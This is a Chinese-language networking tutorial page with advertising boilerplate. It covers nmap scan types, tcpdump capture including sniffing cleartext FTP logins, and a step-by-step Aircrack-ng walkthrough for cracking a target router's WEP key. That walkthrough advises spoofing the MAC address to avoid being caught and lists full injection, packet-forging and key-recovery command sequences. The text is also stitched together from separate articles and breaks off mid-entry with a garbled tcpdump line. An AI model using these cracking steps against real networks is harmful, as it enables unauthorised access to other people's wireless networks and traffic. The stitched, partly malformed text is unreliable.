扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
NMAP扫描
平邑ssl适用于网站、小程序/APP、API接口等需要进行数据传输应用场景,ssl证书未来市场广阔!成为创新互联公司的ssl证书销售渠道,可以享受市场价格4-6折优惠!如果有意向欢迎电话联系或者加微信:028-86922220(备注:SSL证书合作)期待与您的合作!
一款强大的网络探测利器工具
支持多种探测技术
--ping扫描
--多端口扫描
-- TCP/IP指纹校验
为什么需要扫描?
以获取一些公开/非公开信息为目的
--检测潜在风险
--查找可攻击目标
--收集设备/主机/系统/软件信息
--发现可利用的安全漏洞
基本用法
nmap [扫描类型] [选项] 扫描目标...
常用的扫描类型
常用选项
-sS TCP SYN扫描(半开) 该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么判断端口是开放的;如果收到RST包,说明该端口是关闭的。简单理解就是3次握手只完成一半就可以判断端口是否打开,提高扫描速度
-sT TCP 连接扫描(全开)
-sU UDP扫描
-sP ICMP扫描
-sV 探测打开的端口对应的服务版本信息
-A 目标系统全面分析 (可能会比较慢)
-p 扫描指定端口
1 ) 检查目标主机是否能ping通
2)检查目标主机所开启的TCP服务
3 ) 检查192.168.4.0/24网段内哪些主机开启了FTP、SSH服务
4)检查目标主机所开启的UDP服务
5 ) 探测打开的端口对应的服务版本信息
6)全面分析目标主机192.168.4.100的操作系统信息
tcpdump
命令行抓取数据包工具
基本用法
tcpdump [选项] [过滤条件]
常见监控选项
-i,指定监控的网络接口(默认监听第一个网卡)
-A,转换为 ACSII 码,以方便阅读
-w,将数据包信息保存到指定文件
-r,从指定文件读取数据包信息
常用的过滤条件:
类型:host、net、port、portrange
方向:src、dst
协议:tcp、udp、ip、wlan、arp、……
多个条件组合:and、or、not
案例1
案例2:使用tcpdump分析FTP访问中的明文交换信息
1 ) 安装部署vsftpd服务
2 ) 并启动tcpdump等待抓包
执行tcpdump命令行,添加适当的过滤条件,只抓取访问主机192.168.4.100的21端口的数据通信 ,并转换为ASCII码格式的易读文本。
3 ) case100作为客户端访问case254服务端
4 ) 查看tcpdump抓包
5 ) 再次使用tcpdump抓包,使用-w选项可以将抓取的数据包另存为文件,方便后期慢慢分析。
6 ) tcpdump命令的-r选项,可以去读之前抓取的历史数据文件
在Linux中输入命令man tcpdump给出的定义如下所示:
是不是感觉很懵?我们用通俗、形象、学术的表达方式来全方位描述tcpdump:
常用选项如下所示:
1、第一个抓包示例
-i : 指定用来抓包的网络接口,这个参数在服务器有多个网卡的时候非常有效
-nn : 不转换协议和端口号,当tcpdump遇到协议号或端口号,不需要将这些数字转换为对应的协议名称或端口名称,如22端口SSH端口,我们希望显示22,而非SSH
-X : 将协议头和包内容原原本本的显示出来,tcpdump会同时以16进制和ASCII的形式进行显示,在协议分析时非常好用。
'port 22' : 告诉tcpdump要有选择的显示所抓到的包,在该示例中,只显示源端口或目的端口是22的数据包,其他的数据包则不显示。
-c : 用来指定抓包的个数,示例设置的个数为1,则代表仅抓取一个包之后就退出不再抓包了。
2、-e 增加数据链路层的头部信息
通过两个命令的输出对比,可以看到增加-e选项后,输出的结果中增加MAC地址信息。而且在输出内容中会有 oui Unknown ,OUI即Organizationally unique identifier(组织唯一标识符),在任何一块网卡中烧录的6字节MAC地址中,前3个字节体现了OUI,其表明了网卡的制造组织,通常情况下,该标识符是唯一的。在本例中,由于没有识别出网卡的制造商,因此显示为Unknown。
3、-l 将输出变为行缓冲模式
-l的作用是将tcpdump的输出行为变为 行缓冲 方式,这样可以保证tcpdump遇到换行符,就立即将缓冲的内容输出到标准输出(stdout),方便利用管道或重定向方式进行后续处理,而不会造成延迟。
在Linux的标准I/O中提供了 全缓冲 、 行缓冲 、 无缓冲 三种缓冲方式。标准错误是不带缓冲的,而终端设备常为行缓冲,其他默认则为全缓冲。
在该例中,将tcpdump输出的内容通过管道提取第5列,可以用来查看详细的连接信息。而如果不加 -l 选项时,则只有当缓冲区全部占满时,tcpdump才会将缓冲区中的内容输出,这样就有可能导致输出不连续的,如果强行结束,则会影响下一行的完整性。
4、-t 输出不加时间戳
在增加选项 -t 选项后,时间23:48:03.193526就消失了。tcpdump默认情况下是按微秒来计时,因此最一个时间精确到了第6位。
5、 -v 显示详细信息
在增加 -v 选项后,会在输出的内容中增加 tos 、 ttl 、 id 、 offset 、 协议编号 、 总长度 等,如需要理解这些信息,就需要了解TCP/IP协议中的头的具体定义了。
6、-F 指定过滤表达式所在的文件
在第一个示例中,命令行增加了 'port 22' ,而这一项就叫 过滤条件 ,如果设置了过滤条件,则tcpdump只抓取满足过滤条件的数据包。如需要设置较为复杂的过滤条件或复用过滤条件时,这时可以将过滤条件保存为文件,然后通过-F加载该过滤文件。
7、 -w 将原始数据包信息保存到文件中
当我们查看保存的文件时,出现的是乱码。则代表无法直接查看,很有可能是二进制文件。那么怎么查看保存的文件了?请看下一个示例。
7、 -r 从文件中读取原始数据包
通过-w和-r选项即可实现抓包的录制回放功能。
Aircrack-ng系列工具也有Windows 平台版本,但是本人的小黑的始终不能在win下抓包,所以只能 弃 Windows 从Linux 了,另外 Windows 下扫描到的 AP 也比 Linux 下少了很多。其实 Windows 并不完整的支持 TCP/IP 协议族,有些协议Windows 直接丢弃不用。网络本来从一开始就是 Unix 的天下,Windows 只是在后来加入了网络的功能。
Aircrack-ng工具包有很多工具,我用到的工具主要有以下几个:
airmon-ng 处理网卡工作模式
airodump-ng 抓包
aircrack-ng 破解
aireplay-ng 发包,干扰
另外还要用到以下 linux 命令:
ifconfig 查看修改网卡状态和参数
macchanger 伪造 MAC
iwconfig 主要针对无线网卡的工具 (同 ifconfig)
iwlist 获取无线网络的更详细信息
另外还有其他的 linux 基本命令,我就不提示了。
具体破解步骤:
1. 修改无线网卡状态:先 dow
2. 伪造无线网卡的 MAC 地址:安全起见,减少被抓到的可能
3. 修改网卡工作模式:进入Monitor状态,会产生一个虚拟的网卡
4. 修改无线网卡状态: up
5. 查看网络状态,记录下 AP 的 MAC 和本机的 MAC ,确定攻击目标
6. 监听抓包:生成 .cap 或 .ivs
7. 干扰无线网络:截取无线数据包,发送垃圾数据包,用来获得更多的有效数据包
8. 破解 .cap 或 .ivs ,获得 WEP 密码,完成破解
Crack Mode一共有5种请酌情使用还有网卡不一定是ath1也有可能是wifi0,ath0等等
ifconfig -a
ifconfig -a ath0 up
airmon-ng start wifi0 6
airodump-ng --ivs -w 目标路由器IVS文件 -c 6 ath1
airodump-ng ath1
aireplay-ng -1 0 -e 目标路由器SSID -a 目标MAC -h 本机MAC ath1
----------- -2 Crack Mode-----------
aireplay-ng -2 -p 0841 -c ffffffffffff -b 目标MAC -h 本机MAC ath1
----------- -3 Crack Mode-----------
aireplay-ng -3 -b 目标MAC -h 本机MAC ath1
----------- -4 Crack Mode-----------
aireplay-ng -4 -b 目标MAC -h 本机MAC ath1
packetforge-ng -0 -a 目标MAC -h 本机MAC -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
----------- -5 Crack Mode-----------
aireplay-ng -5 -b 目标MAC -h 本机MAC ath1
packetforge-ng -0 -a 目标MAC -h 本机MAC -k 255.255.255.255 -l 255.255.255.255 -y .xor -w MyArp
aireplay-ng -2 -r MyArp -x 256 ath1
-----------Crack Key-----------
aircrack-ng -n 64 -b 目标MAC 目标路由器IVS文件-01.ivs
——————————————————————————————
下面详细介绍一下各个命令的基本用法(参照命令的英文说明)
1. ifconfig
用来配置网卡,我们这里主要用来 禁用和启用 网卡:
ifconfig ath0 down
ifconfig ath0 up
禁用一下网卡的目的是为了下一步修改 MAC 。
2.macchanger
用来改变网卡的 MAC 地址,具体用法如下:
usage: macchanger [options] device
-h 显示帮助
-V 显示版本
-s 显示当前MAC
-e 不改变mac,使用硬件厂商写入的MAC
-a 自动生成一个同类型的MAC,同厂商的
-A 自动生成一个不同类型的MAC,不同厂商的
-r 生成任意MAC
-l 显示已知厂商的网卡MAC地址分配,这个很有用,可以根据MAC查出来是哪个厂商生产的产品
-m 设置一个自定义的MAC 如: macchanger --mac=00:34:00:00:00:00 ath0 。
3.airmon-ng
启动无线网卡进入 Monitor 模式,
useage: airmon-ng start|stop|check interface [channel]
start|stop|check启动,停止,检测
interface指定无线网卡
[channel] 监听频道,现代大多数无线路由默认是 6,随便扫描一下都是这个频道,网管们应该换换了
4.iwconfig
专用的无线网卡配置工具,用来配置特殊的网络信息,不带参数时显示可用网络。
useage:iwconfig interface [options]
[essid{NN|ON|OFF}] 指定essid号 开启关闭
[nwid{NN|on|off}] 指定网络id号 开启关闭
[mode {managed|ad-hoc|....}] 指定无线网络工作模式/类型
[freq N.NNNN[K|M|G]] 指定工作频率
[channel N] 指定频道
[ap {N|off|auto}] 指定AP号 关闭/自动
[sens N] sens 号
[nick N] nick 号
[rate {N|auto|fixed}] 速率控制
[rts {N|auto|fixed|off}] rts控制,如果不知道什么是RTS,那就回去好好去学网络,不用往下看了
[frag {N|auto|fixed|off}] 碎片控制
[enc {NNNN-NNNN|off}] 范围
[power {period N|timeout N}] 电源 频率/超时
[retry {limit N|lifetime N}] 重试 限次/超时
[txpower N{mw|dBm}] 功率 毫瓦/分贝
[commit] 处理
5.iwlist
主要用来显示无线网卡的一些附加信息,同上
useage: iwlist [interface] options
scanning 扫描
frequency 频率
channel 频道
bitrate 速率
rate 速率
encryption 加密
key 密钥
power 电源
txpower 功率
ap ap
accespoints ap
peers 直连
event 事件
6.airodump-ng
抓包工具,我最喜欢用的,详细用法如下:
usage: airodump-ng options interface[,interface,...]
Options:
--ivs :仅将抓取信息保存为 .ivs
--gpsd :使用 GPSd
--write prefix :保存为指定日文件名,我一般用这个,尤其是多个网络时,指定了也好区分
-w :同 --write
--beacons :保存所有的 beacons ,默认情况况下是丢弃那些无用的数据包的
--update secs :显示更新延迟,没有用过
--showack :显示ack/cts/rts状态,还是那句,不知道rts就不用看了
-h :隐藏已知的,配合上面的选项使用
-f msecs :跳频时间
--berlin secs :无数据包接收时延迟显示的时间,这句不太好翻译,意思是当那个信号发出设备没有发出数据包多少时间之后,就停止对它的监视.默认120秒.建议学好英文去读原文,翻译的都会有出入,这是我的理解.(mhy_mhy注)
-r file :从指定的文件读取数据包.我也想有人给我抓好包放哪里,呵呵
Filter options:
--encrypt suite : 使用密码序列过滤 AP
--netmask netmask : 使用掩码过滤 AP
--bssid bssid : 使用 bssid 过滤 AP
-a : 过滤无关的客户端
默认情况下使用2.4Ghz,你也可以指定其他的频率,通过以下命令操作:
--channel channels:指定频道
--band abg :制定带宽
-C frequencies :指定频率MHz
--cswitch method : 设置频道交换方式
0 : FIFO (default) 先进先出(默认)
1 : Round Robin 循环
2 : Hop on last 最后一跳
-s : 同上
--help : 显示使用方法,翻译到这里,感觉还是英文的贴切一点,建议读原文
7.aireplay-ng
tcpdump,就可以用这个抓包了,具体使用 tcpdump -vvv -nn -port 80 -w /tmp/file,你也可以用man tcpdump 查看此命令的具体使用
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流